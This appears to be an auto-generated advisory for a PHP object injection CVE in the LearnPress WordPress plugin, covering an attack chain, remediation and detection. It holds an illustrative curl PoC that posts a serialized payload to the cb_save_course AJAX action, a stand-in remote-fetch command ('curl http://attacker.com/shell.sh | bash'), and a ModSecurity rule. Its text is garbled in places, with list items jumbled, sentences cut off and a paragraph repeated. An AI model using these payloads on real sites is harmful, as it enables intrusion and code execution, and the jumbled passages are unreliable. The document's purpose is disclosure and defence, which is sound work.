CVE-2026-133950 — Thimpress LearnPress – WordPress LMS Plugin To C — CWE-502
The LearnPress – WordPress LMS Plugin for Create and Sell Online Courses plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 4.5.0 via deserialization of untrusted input . This makes it possible for authenticated attackers, with custom-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present. The serialized payload is persisted through the plugin's lp_courses table JSON column via the cb_save_course AJAX handler, meaning deserialization is triggered by anonymous visitors and does not require any further action by the attacker after the initial write.
The LearnPress – WordPress LMS Plugin for Create and Sell Online Courses plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 4.5.0 via deserialization of untrusted input . This makes it possible for authenticated attackers, with custom-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present. The serialized payload is persisted through the plugin's lp_courses table JSON column via the cb_save_course AJAX handler, meaning deserialization is triggered by anonymous visitors and does not require any further action by the attacker after the initial write.
🎯 What is this vulnerability?
This vulnerability is a PHP Object Injection (POI) flaw, classified under CWE-502: Deserialization of Untrusted Data. The core technical failure lies in the LearnPress plugin's handling of data within the lp_courses table, specifically within a JSON column.
The plugin utilizes a cb_save_course AJAX handler to persist course data. During this process, it accepts serialized PHP objects from user input and stores them directly into the database without proper sanitization or validation of the object class. Crucially, the vulnerability description notes that the serialized payload is persisted in the database. This means the deserialization event does not occur immediately upon submission by the attacker, but rather later when an anonymous visitor (or any user) views the course page, triggering the plugin's logic to retrieve and unserialize() the stored data.
The attack requires Low Privilege (PR:L) authentication (specifically "custom-level access and above," which in WordPress LMS contexts often refers to a specific role like lp_instructor or a custom role with course editing rights). The High Attack Complexity (AC:H) stems from the dependency on a POP Chain (Property-Oriented Programming chain). The LearnPress plugin itself does not contain a dangerous __wakeup() or __destruct() method that leads to Remote Code Execution (RCE). Therefore, the exploit is only viable if another plugin or theme on the same WordPress installation provides a vulnerable class that can be chained to achieve code execution, file deletion, or data exfiltration.
⚡ Attack Chain
1. Discovery & Reconnaissance
- Fingerprinting: Identify the target WordPress site and confirm the presence of the
LearnPressplugin. - Version Check: Verify the plugin version is $\le$ 4.5.0. This can be done by inspecting the
wp-content/plugins/learnpress/readme.txtfile (if accessible) or checking the plugin's frontend assets.
POP Chain Hunting: The attacker must identify if any* other installed plugin or theme contains a known POP chain. Common sources include older versions of - Credential Acquisition: Obtain valid credentials for a user with "custom-level access" (e.g., an instructor account). This may involve credential stuffing, social engineering, or exploiting a separate low-severity vulnerability.
WooCommerce, Elementor, WPBakery, or specific security plugins with known deserialization gadgets. Without a POP chain, this CVE is inert.
2. Exploitation
The attacker crafts a malicious serialized PHP object payload that leverages the identified POP chain. The payload is injected into thecb_save_course AJAX endpoint.Illustrative PoC (Conceptual):
Note: The exact parameter names for cb_save_course are not explicitly detailed in the CVE description. The following is an illustrative example of the mechanism.
# 1. Authenticate to obtain a valid nonces and session cookie
# Assume we have a valid instructor cookie: 'wordpress_logged_in_abc123=...'
# And a valid nonce for the AJAX action: 'nonce_value'
# 2. Craft the malicious serialized payload
# Example: A POP chain using a hypothetical vulnerable class 'VulnerableClass'
# The payload must be a valid serialized string that, when unserialized, triggers the chain.
# For example, a chain leading to file write or command execution.
#
# $payload = 'O:15:"VulnerableClass":1:{s:10:"command";s:10:"id > /tmp/pwned";}'
#
# In a real scenario, the attacker would use a tool like `ysoserial` or a custom PHP script
# to generate the correct serialized string for the specific POP chain found on the target.
# 3. Send the payload to the AJAX endpoint
# The endpoint is typically /wp-admin/admin-ajax.php
# The action is cb_save_course (as per CVE description)
curl -X POST "https://target-site.com/wp-admin/admin-ajax.php" \
-H "Cookie: wordpress_logged_in_abc123=..." \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "action=cb_save_course" \
-d "nonce=nonce_value" \
-d "course_id=123" \
-d "course_data[description]=O:15:\"VulnerableClass\":1:{s:10:\"command\";s:10:\"id > /tmp/pwned\";}"Key Mechanism:
The course_data parameter (or similar) is processed by the plugin. The plugin takes the raw string, potentially wraps it in JSON, and stores it in the lp_courses table's JSON column. The critical flaw is that the string is not sanitized to prevent it from being a serialized object.
3. Post-Exploitation
https://target-site.com/course/course-123/), the LearnPress plugin retrieves the course data from the database.unserialize() on the stored data. This triggers the __wakeup() or __destruct() methods of the injected object, initiating the POP chain.id, whoami, curl http://attacker.com/shell.sh | bash).
* File Deletion: Delete critical files (e.g., .htaccess, wp-config.php).
* Data Exfiltration: Read sensitive files (e.g., wp-config.php for DB credentials) and send them to an external server.🌍 Real World Impact
wp-config.php (containing DB credentials), user data, and API keys.🛡️ Remediation & Mitigation
1. Upgrade
2. Workarounds
cb_save_course functionality.cb_save_course AJAX action via a plugin or code snippet if it is not strictly necessary for the current workflow.3. Detection
/wp-admin/admin-ajax.php with action=cb_save_course from authenticated users.lp_courses table for unusual JSON content, especially strings starting with O: (serialized object) in fields that should contain plain text or simple JSON.wp-content/plugins/ and wp-content/themes/.bash, curl, wget).Example ModSecurity Rule (Illustrative):
# Block serialized PHP objects in AJAX requests to cb_save_course
SecRule REQUEST_URI "@rx /wp-admin/admin-ajax.php" \
"id:100001,phase:2,log,pass"
SecRule ARGS:action "@eq cb_save_course" \
"id:100002,phase:2,log,pass"
SecRule ARGS:course_data "@rx ^O:\d+:" \
"id:100003,phase:2,log,block,msg:'Potential PHP Object Injection in cb_save_course'"⚠️ Urgency
Recommended Action:
1. Immediate: Audit all installed plugins and themes for known POP chains. Update or remove any vulnerable components.
2. Short-term: Upgrade LearnPress to the latest version.
3. Ongoing: Implement WAF rules to detect serialized object injection and monitor for suspicious AJAX requests.
[🤖 CVE Professor AI Security Engine]
FOFA Query